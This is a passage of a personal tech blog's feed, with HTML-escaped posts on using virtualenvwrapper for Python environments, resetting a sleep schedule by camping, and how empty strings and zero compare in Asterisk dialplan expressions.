&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I&amp;rsquo;ll often repeat this process numerous times, as I don&amp;rsquo;t want to clutter my
&lt;em>official&lt;/em> virtual environment which has my list of good packages and their
respective versions.&lt;/p>
&lt;p>The problem with this approach, of course, is that it becomes tedious to manage
a ton of virtual environments. It also causes clutter in version control
environments, without careful exclusion rules.&lt;/p>
&lt;p>This is where &lt;code>virtualenvwrapper&lt;/code> comes into play.&lt;/p>
&lt;p>&lt;code>virtualenvwrapper&lt;/code> allows you to store as many virtual environments as you
want, in a single non-project location. It provides convenient scripts for
creating, editing, switching, and removing virtual environments with ease.&lt;/p>
&lt;p>Here&amp;rsquo;s how I&amp;rsquo;d use &lt;code>virtualenvwrapper&lt;/code> to create a new test environment and do
a bit of work in it:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@solitude:~/random_project$ mkvirtualenv --no-site-packages testnose
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">New python executable in testnose/bin/python
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Installing setuptools............done.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">virtualenvwrapper.user_scripts Creating /home/rdegges/.virtualenvs/testnose/bin/predeactivate
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">virtualenvwrapper.user_scripts Creating /home/rdegges/.virtualenvs/testnose/bin/postdeactivate
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">virtualenvwrapper.user_scripts Creating /home/rdegges/.virtualenvs/testnose/bin/preactivate
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">virtualenvwrapper.user_scripts Creating /home/rdegges/.virtualenvs/testnose/bin/postactivate
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">virtualenvwrapper.user_scripts Creating /home/rdegges/.virtualenvs/testnose/bin/get_env_details
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">(testnose)rdegges@solitude:~/random_project$ pip install nose
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Downloading/unpacking nose
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> Downloading nose-0.11.4.tar.gz (256Kb): 256Kb downloaded
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> Running setup.py egg_info for package nose
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> no previously-included directories found matching &amp;#39;doc/.build&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Installing collected packages: nose
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> Running setup.py install for nose
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> no previously-included directories found matching &amp;#39;doc/.build&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> Installing nosetests-2.6 script to /home/rdegges/.virtualenvs/testnose/bin
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> Installing nosetests script to /home/rdegges/.virtualenvs/testnose/bin
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Successfully installed nose
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Cleaning up...
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="gp">#&lt;/span> &lt;span class="k">do&lt;/span> some testing here ...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">(testnose)rdegges@solitude:~/random_project$ deactivate
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@solitude:~/random_project$
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Nice, eh? Now, let&amp;rsquo;s say I want to work on another virtual environment that
I&amp;rsquo;ve already defined, it&amp;rsquo;s as easy as:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@solitude:~/random_project$ workon pycall
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">(pycall)rdegges@solitude:~/random_project$
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Just use the &lt;code>workon&lt;/code> command to instantly switch into an already defined
virtual environment. And if I want to remove a virtual environment?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">(pycall)rdegges@solitude:~/random_project$ deactivate
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@solitude:~/random_project$ rmvirtualenv testnose
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@solitude:~/random_project$
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And &lt;em>bam&lt;/em>, just like that, &lt;code>testnose&lt;/code> is gone.&lt;/p>
&lt;h2 id="give-virtualenvwrapper-a-try">Give virtualenvwrapper a Try&lt;/h2>
&lt;p>It really is an awesome, extremely useful program. If you use &lt;code>virtualenv&lt;/code>
currently, you shouldn&amp;rsquo;t write another line of code before installing and using
it.&lt;/p>
&lt;p>&lt;code>virtualenvwrapper&lt;/code> can be downloaded &lt;a href="http://www.doughellmann.com/projects/virtualenvwrapper/" title="Virtualenvwrapper">here&lt;/a>. The project website has great
&lt;a href="http://www.doughellmann.com/docs/virtualenvwrapper/" title="Virtualenvwrapper Documentation">documentation&lt;/a>, and plenty of examples which show off the rest of the great
features that &lt;code>virtualenv&lt;/code> has to offer.&lt;/p>
&lt;p>Among other things, &lt;code>virtualenv&lt;/code> also provides hooks for setting up virtual
environments, which allow you to get really creative, and save yourself a LOT
of time by automating common &lt;code>virtualenv&lt;/code> tasks.&lt;/p></description></item><item><title>How to Reset Your Sleep Schedule, Seriously</title><link>https://rdegges.com/2010/how-to-reset-your-sleep-schedule-seriously/</link><pubDate>Sat, 04 Sep 2010 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/how-to-reset-your-sleep-schedule-seriously/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/how-to-reset-your-sleep-schedule-seriously/tent-sketch.png" alt="Tent Sketch" title="Tent Sketch">
&lt;/p>
&lt;p>Every now and then on &lt;a href="http://news.ycombinator.com/" title="Hacker News">Hacker News&lt;/a>, I see a new discussion about resetting
your sleep schedule. Resetting your sleep schedule is the process of shifting
your &lt;em>awake&lt;/em> hours from night to day.&lt;/p>
&lt;p>I&amp;rsquo;m a night person. I go to bed late, and wake up late. However, for many
night owls like myself, this can cause a lot of problems. Often you&amp;rsquo;re
required to be awake for work early in the morning (9 to 5, anyone?), and most
of the businesses you need to use daily (grocery stores, barber shops, etc.)
operate only during the day.&lt;/p>
&lt;p>So, the question of course, is how can you reset your sleep schedule easily
without any pain? Numerous web sites would have you believe that your sleep
cycle can be &lt;em>hacked&lt;/em>, by doing some particular ritual.&lt;/p>
&lt;p>&lt;a href="http://www.wisebread.com/how-to-naturally-reset-your-sleep-cycle-overnight/" title="Wisebread on How to Naturally Reset Your SLeep Cycle">Wisebread&lt;/a> suggests that if you don&amp;rsquo;t eat for roughly 12 to 16 hours before
you want to wake up, your body will automatically adjust to a new schedule
without any work.&lt;/p>
&lt;p>&lt;a href="http://gigaom.com/collaboration/how-to-reset-your-body-clock/" title="Gigaom on How to Reset Your Body Clock">Gigaom&lt;/a> says that you should just start doing it. Force yourself to wake up
at the desired time each day, and you&amp;rsquo;ll get used to it quickly.&lt;/p>
&lt;p>There are a million websites (Google says there are ~7,570,000) with different
suggestions for hacking your sleep cycle.&lt;/p>
&lt;h2 id="why-most-sleep-hacks-dont-work">Why Most Sleep Hacks Don&amp;rsquo;t Work&lt;/h2>
&lt;p>Most sleep hacks don&amp;rsquo;t work because they require a lot of hard work and
willpower. I can tell you from lots of experience, that after going to bed at
4AM, waking up at 6AM is &lt;strong>not&lt;/strong> trivial (and it&amp;rsquo;s even harder to stay awake
until 10PM the following night!).&lt;/p>
&lt;p>If you have the dedication and willpower to follow through with the sort of
punishment that most sleep hacks require, then more power to you. But for most
people, that is not a viable option.&lt;/p>
&lt;p>Instead of trying to &lt;em>hack&lt;/em> your sleep, I recommend a more simple, natural
approach:&lt;/p>
&lt;h2 id="go-camping">Go Camping&lt;/h2>
&lt;p>Camping is a great way to help reset your sleep schedule.&lt;/p>
&lt;p>First of all, it&amp;rsquo;s fun (you can do it over a weekend). An important part of
adjusting something major (like your sleep cycle) is to make it enjoyable. If
you&amp;rsquo;re a night owl trying to get into a 9 to 5 schedule, then you might as well
do something that will not just &amp;lsquo;get you through the day&amp;rsquo; (e.g. caffeine
overdose), but will actually make you feel &lt;em>normal&lt;/em> during those hours.&lt;/p>
&lt;p>Secondly, camping is cheap and natural. You don&amp;rsquo;t need to starve yourself, you
don&amp;rsquo;t need to take any drugs, and you don&amp;rsquo;t need to spend a lot of money
talking to your physician about your sleep woes.&lt;/p>
&lt;p>Thirdly, after you come back from your short camping trip, you&amp;rsquo;ll not easily
fall back into your old schedule. You&amp;rsquo;d be surprised how easily the human body
can adjust to natural day / night cycles, and how long those effects can last.&lt;/p>
&lt;h2 id="how-it-works">How it Works&lt;/h2>
&lt;p>The way that camping helps align your sleep cycle with day / night rotation, is
simple-it exposes you to the elements.&lt;/p>
&lt;p>When you spend most of your time inside your house (apartment, office, etc.),
you are separated from most natural elements. This includes (among other
things): sunlight, night (darkness), temperature, and sound.&lt;/p>
&lt;p>While camping, you&amp;rsquo;re exposed to sunlight as soon as the sun rises. Where I
live in California, the sun typically comes up around 6AM. An hour or two of
sunlight in your eyes, shining through your tent, will naturally make waking up
easier.&lt;/p>
&lt;p>At night time, whereas you&amp;rsquo;d usually be awake very late, you&amp;rsquo;ll find that when
out camping, there isn&amp;rsquo;t all that much to do. Besides the lack of light,
without a constant stream of things to keep you busy (computers, movies, etc.),
you&amp;rsquo;ll feel much more relaxed, and will begin feeling tired a lot sooner than
you would otherwise.&lt;/p>
&lt;p>Sound has an equally important role. When camping, you&amp;rsquo;re surrounded by
nature. Depending on where you are, you may hear birds chirping in the
morning, crickets singing at night, and owls hooting. For me, anyhow, these
sounds help me both fall asleep easily, as well as wake up when the animals
start making noise.&lt;/p>
&lt;p>And don&amp;rsquo;t forget the impact that temperature has. At night, when the
temperature drops, you won&amp;rsquo;t feel comfortable until you&amp;rsquo;re snuggled into a
sleeping bag to keep warm. When the sun comes up in the morning and you start
to roast in your sleeping back, your body will quickly adjust and help you out
of bed.&lt;/p>
&lt;h2 id="my-experiment">My Experiment&lt;/h2>
&lt;p>My wife and I just got back from a short three day camping trip with some of my
wife&amp;rsquo;s family and friends. Last weekend we left Friday for &lt;a href="http://www.parks.ca.gov/?page_id=590" title="San Simeon State Park">San Simeon&lt;/a>
state park in California, and got back to our apartment in Los Angeles late
Sunday afternoon.&lt;/p>
&lt;p>I&amp;rsquo;ve been a night owl as long as I can remember, usually falling asleep around
3 or 4AM, and waking up at 10AM or so depending on my daily responsibilities.
So, one goal of this trip was to document my sleep schedule, and see whether or
not it is possible to reset one&amp;rsquo;s internal clock over a 3 day 2 night trip.&lt;/p>
&lt;h3 id="friday">Friday&lt;/h3>
&lt;p>I wake up at 10AM, and hop into the shower. About 45 minutes later my wife and
I are on the road heading to the campgrounds (a 4.5 hour drive).&lt;/p>
&lt;p>After arriving at the campsite, and feeling a bit tired from the long drive, my
wife and I setup our tent quickly, dump off our clothes and items, then drive
to the nearest town to get some food and supplies.&lt;/p>
&lt;p>When we come back, sunset is fast approaching, so we decide to walk to the
beach (just a few steps away from our campground), and walk along the coast as
the sun sets.&lt;/p>
&lt;p>We get back to camp, start a fire, and sit around chatting with one another for
approximately two hours.&lt;/p>
&lt;p>It&amp;rsquo;s dark, we&amp;rsquo;re tired, so we decide to go to bed. It&amp;rsquo;s around 9PM, and it
feels like it&amp;rsquo;s 2AM. It&amp;rsquo;s probably 50F outside, and with the cold weather it
feels especially good to be in a warm sleeping bag :)&lt;/p>
&lt;h3 id="saturday">Saturday&lt;/h3>
&lt;p>The sun comes up early, probably 6 or 7AM, and I hear birds chirping loudly
outside of the tent. I try to stay in bed for a little while, and manage to go
for about an hour longer before I&amp;rsquo;m way too hot in my sleeping back, and jump
out of bed. I feel relaxed, and not tired at all. I haven&amp;rsquo;t woken up at 8AM
willfully in a long time.&lt;/p>
&lt;p>My wife and I spend most of the day hanging around the campsite, but take a
short trip to the nearby town and walk up and down their main street to see all
the little shops.&lt;/p>
&lt;p>When we get back to the campsite, we all sit around the campfire talking and
eating chili. Around 10PM, my wife and I feel tired again, so we go back to
the tent and play some cards before falling asleep.&lt;/p>
&lt;p>It was extremely easy to fall asleep. The cold weather outside made my
sleeping bag feel all the more comfortable, and I just drifted off in several
minutes.&lt;/p>
&lt;h3 id="sunday">Sunday&lt;/h3>
&lt;p>I wake up a bit before 8AM, listening to birds chirping and feeling the sun on
my face. Feels good. I feel rested. We pack up the campsite, and drive back
home.&lt;/p>
&lt;p>After getting home and catching up on emails, I start feeling tired again, and
doze off at 11PM with no problems.&lt;/p>
&lt;h3 id="this-entire-week">This Entire Week&lt;/h3>
&lt;p>So far, I&amp;rsquo;ve been going to bed at around 11PM, and waking up at 8AM every day
this week, with no issues. I feel great. I haven&amp;rsquo;t had any problems going to
bed or waking up early.&lt;/p>
&lt;h2 id="what-will-you-do">What Will You Do?&lt;/h2>
&lt;p>While some of the sleep hacks you&amp;rsquo;ll read about online may seem more convenient
than going camping for a weekend, I&amp;rsquo;d highly recommend camping to anyone who is
serious about adjusting their schedule.&lt;/p>
&lt;p>In addition to resetting your sleep schedule, you&amp;rsquo;ll also get out of the house
for a bit, and hopefully de-stress yourself for a couple days.&lt;/p></description></item><item><title>Asterisk Expression Truthiness</title><link>https://rdegges.com/2010/asterisk-expression-truthiness/</link><pubDate>Wed, 18 Aug 2010 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/asterisk-expression-truthiness/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/asterisk-expression-truthiness/stephen-colbert-sketch.png" alt="Stephen Colbert Sketch" title="Stephen Colbert Sketch">
&lt;/p>
&lt;p>Ever done any extensive &lt;a href="http://www.asterisk.org/" title="Asterisk">Asterisk&lt;/a> dial plan coding? If so, chances are
you&amp;rsquo;ve been frustrated with Asterisk expressions at one point or another.&lt;/p>
&lt;p>If you&amp;rsquo;re unfamiliar with Asterisk coding, you should read this
&lt;a href="http://www.amazon.com/gp/product/0596517343/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0596517343&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Asterisk: The Definitive Guide">awesome book&lt;/a> on the subject.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: The following is written with Asterisk 1.6+ in mind. If you&amp;rsquo;re using
an older version of Asterisk, this may not be &lt;em>completely&lt;/em> true.&lt;/p>
&lt;h2 id="asterisk-expression-basics">Asterisk Expression Basics&lt;/h2>
&lt;p>Asterisk &lt;a href="http://www.voip-info.org/wiki/view/Asterisk+Expressions" title="Asterisk Expressions Wiki Page">expressions&lt;/a> are used in various Asterisk dial plan applications,
to help control the flow of your program. They are typically used as if
statements to help branch logic.&lt;/p>
&lt;p>Let&amp;rsquo;s look at an example from the latest version of &lt;a href="http://www.freepbx.org/" title="FreePBX">FreePBX&lt;/a>, an extremely
popular open source Asterisk web front-end:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Rings one or more extensions. Handles things like call forwarding and&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; DND. We don&amp;#39;t call dial directly for anything internal anymore.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; ARGS: $TIMER, $OPTIONS, $EXT1, $EXT2, $EXT3, ...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Use a Macro call such as the following:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Macro(dial,$DIAL_TIMER,$DIAL_OPTIONS,$EXT1,$EXT2,$EXT3,...)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">[macro-dial]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,1,GotoIf($[&amp;#34;${MOHCLASS}&amp;#34; = &amp;#34;&amp;#34;]?dial)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n,SetMusicOnHold(${MOHCLASS})&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n(dial),AGI(dialparties.agi)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n,NoOp(Returned from dialparties with no extensions to call and DIALSTATUS: ${DIALSTATUS})&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In this short snippet, we see the Asterisk expression
&lt;code>$[&amp;quot;${MOHCLASS}&amp;quot; = &amp;quot;&amp;quot;]?dial&lt;/code>. This short expression is the equivalent of the
following pseudo code (which looks curiously like python):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">macro_dial&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">args&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">global&lt;/span> &lt;span class="n">MOHCLASS&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">MOHCLASS&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">set_moh&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">MOHCLASS&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">dial&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">args&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Makes sense so far, right? Basically, if &lt;code>MOHCLASS&lt;/code> is false, then the code
will not execute the &lt;code>SetMusicOnHold&lt;/code> application before performing a dial.&lt;/p>
&lt;p>And of course, expressions aren&amp;rsquo;t limited to a single statement, they can be
used pretty much anywhere. Here&amp;rsquo;s another snippet from the latest version of
FreePBX:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n,Set(DIALSTATUS=${IF($[&amp;#34;${DIALSTATUS_CW}&amp;#34;!=&amp;#34;&amp;#34; ]?${DIALSTATUS_CW}:${DIALSTATUS})})&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n,GosubIf($[&amp;#34;${SCREEN}&amp;#34; != &amp;#34;&amp;#34; | &amp;#34;${DIALSTATUS}&amp;#34; = &amp;#34;ANSWER&amp;#34;]?${DIALSTATUS},1)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As you can see, expressions provide most common logical operators like &lt;code>AND&lt;/code>,
&lt;code>OR&lt;/code>, &lt;code>NOT&lt;/code>, etc.&lt;/p>
&lt;h2 id="truthiness">Truthiness&lt;/h2>
&lt;p>In an attempt to demonstrate the truthiness of Asterisk expression, I&amp;rsquo;ll
dissect the FreePBX code shown in the previous section.&lt;/p>
&lt;p>Let&amp;rsquo;s start by testing all aspects of the original FreePBX expression:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,1,GotoIf($[&amp;#34;${MOHCLASS}&amp;#34; = &amp;#34;&amp;#34;]?dial)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In order to test it, let&amp;rsquo;s run some dial plan code.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: I&amp;rsquo;m not showing the Asterisk output for any of the tests, because it
would take an enormous amount of space and be essentially useless. So you can
take my answers to be true (I&amp;rsquo;ve tested them, I promise!), or test it for
yourself.&lt;/p>
&lt;h3 id="test-1">Test 1&lt;/h3>
&lt;p>The first thing we&amp;rsquo;ll test is what happens if the &lt;code>MOHCLASS&lt;/code> doesn&amp;rsquo;t exist?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n,GotoIf($[&amp;#34;${MOHCLASS}&amp;#34; = &amp;#34;&amp;#34;]?dial)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n(dial),NoOp()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The output of our first test shows that the expression resolves to true (1).
That means that, &lt;code>$[&amp;quot;${MOHCLASS}&amp;quot; = &amp;quot;&amp;quot;]&lt;/code> can be used to test whether or not the
&lt;code>MOHCLASS&lt;/code> variable exists.&lt;/p>
&lt;h3 id="test-2">Test 2&lt;/h3>
&lt;p>In this test, we&amp;rsquo;ll see what happens if &lt;code>MOHCLASS&lt;/code> has been defined, and set to
a line of text.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n,Set(MOHCLASS=hithere)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n,GotoIf($[&amp;#34;${MOHCLASS}&amp;#34; = &amp;#34;&amp;#34;]?dial)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n(dial),NoOp()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This time, the expressions returns false (0). This makes sense, as we wouldn&amp;rsquo;t
expect Asterisk to think that both &lt;code>&amp;quot;&amp;quot;&lt;/code> and &lt;code>hithere&lt;/code> are equal.&lt;/p>
&lt;h3 id="test-3">Test 3&lt;/h3>
&lt;p>Now, let&amp;rsquo;s see what happens if &lt;code>MOHCLASS&lt;/code> is defined, and set to 0 (false).&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n,Set(MOHCLASS=0)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n,GotoIf($[&amp;#34;${MOHCLASS}&amp;#34; = &amp;#34;&amp;#34;]?dial)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n(dial),NoOp()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Surprisingly, the expressions resolves to false. Therefore, &lt;code>0&lt;/code> != &lt;code>&amp;quot;&amp;quot;&lt;/code>.&lt;/p>
&lt;h3 id="test-4">Test 4&lt;/h3>
&lt;p>How about if &lt;code>MOHCLASS&lt;/code> is defined, but not assigned any value?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n,Set(MOHCLASS=)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n,GotoIf($[&amp;#34;${MOHCLASS}&amp;#34; = &amp;#34;&amp;#34;]?dial)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n(dial),NoOp()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This time, we get true (1). So if a variable is set, but has no value, the
checking of the variable is equal to an empty string, e.g. &lt;code>&amp;quot;&amp;quot;&lt;/code>, will return
true.&lt;/p>
&lt;h3 id="test-5">Test 5&lt;/h3>
&lt;p>And what if &lt;code>MOHCLASS&lt;/code> is set to the empty string?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n,Set(MOHCLASS=&amp;#34;&amp;#34;)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n,GotoIf($[&amp;#34;${MOHCLASS}&amp;#34; = &amp;#34;&amp;#34;]?dial)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; s,n(dial),NoOp()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Again, it resolves to true (1). So, as expected, &lt;code>&amp;quot;&amp;quot;&lt;/code> = &lt;code>&amp;quot;&amp;quot;&lt;/code>.&lt;/p>
&lt;h2 id="truthiness-table">Truthiness Table&lt;/h2>
&lt;p>To summarize what we&amp;rsquo;ve learned, here&amp;rsquo;s a simple truthiness table:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">expression true?
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">---------- -----
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&amp;#34;&amp;#34; = &amp;#34;&amp;#34; 1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">0 = &amp;#34;&amp;#34; 0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">= &amp;#34;&amp;#34; 1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">blah = &amp;#34;&amp;#34; 0
